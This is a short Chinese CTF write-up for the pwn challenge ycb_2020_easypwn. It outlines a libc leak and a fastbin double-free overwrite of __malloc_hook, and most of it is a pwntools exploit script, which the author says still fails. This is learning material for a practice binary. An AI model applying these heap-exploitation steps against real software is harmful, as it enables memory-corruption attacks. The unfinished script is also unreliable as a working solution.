1. 程式人生 > 實用技巧 >BUU ycb_2020_easypwn

BUU ycb_2020_easypwn

這道題沒打通,然後去網上搜了wp,看了比賽的wp,並且脫下來在打了一遍,還是打不通,所以先寫下思路吧。。(感覺是堆疊沒平衡好,但這個知識點還不怎麼會)

由於比較入門,就不做流程分析了

思路

  1. 由於申請的chunk沒有清0,所以可以直接leak libc
  2. 然後在直接double free,修改malloc hook函式即可(這裡可能要平衡堆疊,但我看了幾個wp,用他們的方式來平衡,還是不行)

exp

from pwn import *

p=process('./ycb_2020_easypwn')
#p=remote('node3.buuoj.cn',26035)
elf=ELF('./ycb_2020_easypwn
') libc=ELF('../libc-2.23.so') context.log_level='debug' msg='choice : ' def add(size,name,content): p.recvuntil(msg) p.sendline('1') p.recvuntil('name:') p.sendline(str(size)) p.recvuntil('name:') p.sendline(name) p.recvuntil('message:') p.sendline(content) def show(): p.recvuntil(msg) p.sendline(
'2') def delete(idx): p.recvuntil(msg) p.sendline('3') p.recvuntil('index:') p.sendline(str(idx)) #leak libc add(0xc0,'','pppp')#0 add(0x68,'','pppp')#1 add(0x68,'','pppp')#2 delete(0) add(0x90,'','ppp')#3 show() libc.address=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x3c4afa-0x10 one = [0x45226,0x4527a,0xf0364,0xf1207] delete(
1) delete(2) delete(1) realloc=libc.symbols['__libc_realloc'] add(0x68,p64(libc.symbols['__malloc_hook']-0x23),'pppp')#4 add(0x68,'','pppp') add(0x68,'','pppp') #add(0x68,b'\x00'*0xb+p64(libc.address+0x4527a)+p64(realloc),'pppp') print('sys offset:'+hex(libc.sym['system'])) #+p64(libc.sym['realloc']+6)+p64(libc.address+one[1] gdb.attach(p) p.interactive()